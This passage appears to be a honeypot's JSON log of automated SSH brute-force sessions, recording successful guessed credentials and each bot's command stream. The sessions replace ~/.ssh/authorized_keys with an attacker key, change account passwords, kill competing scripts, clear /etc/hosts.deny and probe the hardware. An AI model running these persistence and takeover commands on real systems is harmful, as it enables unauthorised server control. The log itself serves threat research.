$2;}'"},{"seq":32,"at":"2026-08-27T10:59:05.433033+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password+1","method":"password","accepted":true,"tier":"other"}]} {"id":"0511a491-8962-4b6e-9d52-4b74bded357f","name":"deft-woven-sloth","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":36854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":263,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:57:40.362900+00:00","ended_at":"2026-08-27T10:57:41.025107+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2093,"events":[{"seq":1,"at":"2026-08-27T10:57:30.707447+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:57:30.970365+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:57:34.946776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:57:34.947628+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:57:35.210656+00:00","kind":"input","latency_ms":null,"data":"echo \"root:74wbLvxB48PU\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:57:35.472080+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:57:35.734178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:57:35.734652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:57:35.996168+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:57:36.481758+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:57:36.752670+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:57:37.251526+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:57:37.518162+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:57:37.518789+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:57:37.780722+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:57:37.782110+00:00","kind":"output","latency_ms":null,"data":" 10:57:37 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:57:38.042392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:57:38.043297+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:57:38.304682+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:57:38.305258+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:57:38.567757+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:57:38.568515+00:00","kind":"output","latency_ms":null,"data":"top - 10:57:38 up 7 days, 7:47, 0 user, load average: 0.33, 0.28, 0.3\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6514 free, 9373 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:57:38.832608+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:57:38.833266+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:57:39.097015+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:57:39.097614+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:57:39.358698+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:57:39.359551+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:57:39.621439+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:57:40.100662+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:57:40.363751+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:57:40.949407+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QWEqwe123456","method":"password","accepted":true,"tier":"other"}]} {"id":"68496739-8a9a-467b-94a5-acefe8419b5b","name":"breezy-calm-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":57250,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":770,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:56:28.265960+00:00","ended_at":"2026-08-27T10:56:29.023573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2059,"events":[{"seq":1,"at":"2026-08-27T10:56:08.034825+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:56:08.808705+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:56:14.964511+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:56:14.965175+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:56:15.734309+00:00","kind":"input","latency_ms":null,"data":"echo -e \"88888888\\nvYecPGkSl5Za\\nvYecPGkSl5Za\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:56:16.503941+00:00","kind":"input","latency_ms":null,"data":"echo \"88888888\\nvYecPGkSl5Za\\nvYecPGkSl5Za\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:56:17.020642+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T10:56:17.271311+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-27T10:56:17.272069+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T10:56:18.042175+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T10:56:18.554118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T10:56:19.325197+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T10:56:19.893640+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T10:56:20.677021+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:56:20.679115+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T10:56:21.443518+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T10:56:21.443867+00:00","kind":"output","latency_ms":null,"data":" 10:56:21 up 7 days, 7:46, 0 user, load average: 0.11, 0.11, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T10:56:22.213828+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T10:56:22.215013+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T10:56:22.983557+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T10:56:22.984295+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T10:56:23.754482+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T10:56:23.755202+00:00","kind":"output","latency_ms":null,"data":"top - 10:56:23 up 7 days, 7:46, 0 user, load average: 0.11, 0.11, 0.12\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T10:56:24.525610+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T10:56:24.526088+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T10:56:25.296313+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T10:56:25.296822+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T10:56:26.080123+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T10:56:26.081094+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":30,"at":"2026-08-27T10:56:26.857437+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T10:56:27.489009+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T10:56:28.266817+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T10:56:28.778371+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"88888888","method":"password","accepted":true,"tier":"other"}]} {"id":"d9db2b6a-2f5a-4d3c-8929-928976740fde","name":"dewy-valiant-quokka","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58726,"username":"newusername","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":461,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:56:20.234678+00:00","ended_at":"2026-08-27T10:56:20.861006+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2064,"events":[{"seq":1,"at":"2026-08-27T10:56:06.692220+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:56:07.151408+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:56:11.643630+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:56:11.645307+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:56:12.117165+00:00","kind":"input","latency_ms":null,"data":"echo -e \"12345678\\nKjAbeSvhuHtl\\nKjAbeSvhuHtl\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:56:12.578057+00:00","kind":"input","latency_ms":null,"data":"echo \"12345678\\nKjAbeSvhuHtl\\nKjAbeSvhuHtl\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:56:13.039274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:56:13.039843+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:56:13.499887+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:56:14.048640+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:56:14.512611+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:56:15.076094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:56:15.545147+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:56:15.545722+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T10:56:16.017676+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:56:16.018175+00:00","kind":"output","latency_ms":null,"data":" 10:56:16 up 7 days, 7:46, 0 user, load average: 0.21, 0.25, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:56:16.480447+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:56:16.481225+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:56:16.939924+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:56:16.940409+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:56:17.400535+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:56:17.401230+00:00","kind":"output","latency_ms":null,"data":"top - 10:56:17 up 7 days, 7:46, 0 user, load average: 0.21, 0.25, 0.16\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:56:17.863731+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:56:17.864508+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:56:18.327390+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:56:18.328056+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:56:18.788263+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:56:18.788738+00:00","kind":"output","latency_ms":null,"data":"newusername"},{"seq":29,"at":"2026-08-27T10:56:19.249617+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:56:19.773340+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:56:20.235462+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:56:20.718318+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"newusername","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"a98b8c64-f7c7-437b-8233-3196f219467d","name":"sterling-lucid-jay","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":46284,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":755,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:53:52.986704+00:00","ended_at":"2026-08-27T10:53:53.797790+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T10:53:33.841406+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:53:34.594736+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:53:40.040742+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:53:40.041583+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:53:40.800933+00:00","kind":"input","latency_ms":null,"data":"echo \"root:DuMDWhTonDsN\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T10:53:41.560015+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T10:53:42.310382+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:53:42.311346+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:53:43.066055+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:53:43.653926+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:53:44.411329+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T10:53:44.918028+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T10:53:45.682878+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T10:53:45.685140+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T10:53:46.431865+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T10:53:46.433334+00:00","kind":"output","latency_ms":null,"data":" 10:53:46 up 7 days, 7:43, 0 user, load average: 0.12, 0.12, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T10:53:47.188657+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T10:53:47.189451+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T10:53:47.941075+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T10:53:47.942289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T10:53:48.701497+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T10:53:48.702057+00:00","kind":"output","latency_ms":null,"data":"top - 10:53:48 up 7 days, 7:43, 0 user, load average: 0.12, 0.12, 0.08\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T10:53:49.457357+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T10:53:49.458105+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T10:53:50.213689+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T10:53:50.214336+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T10:53:50.967841+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T10:53:50.968410+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T10:53:51.722080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T10:53:52.232422+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T10:53:52.987559+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T10:53:53.558510+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"IdcOffer.com","method":"password","accepted":true,"tier":"other"}]} {"id":"c4dc9bf3-9c93-4748-810e-7da8a48122cd","name":"slender-wooded-skink","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":58704,"username":"server","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T10:52:59.834443+00:00","ended_at":"2026-08-27T10:53:00.554651+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2050,"events":[{"seq":1,"at":"2026-08-27T10:52:45.746598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T10:52:46.184476+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T10:52:51.496350+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T10:52:51.497538+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T10:52:51.939640+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Server123\\ng2pfoLYXJBly\\ng2pfoLYXJBly\"|passwd|bash"},{"seq":6,"at":"2026-08-27T10:52:52.379033+00:00","kind":"input","latency_ms":null,"data":"echo \"Server123\\ng2pfoLYXJBly\\ng2pfoLYXJBly\\n\"|passwd"},{"seq":7,"at":"2026-08-27T10:52:52.818674+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T10:52:52.819224+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T10:52:53.258582+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T10:52:53.784470+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T10:52:54.227267+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which 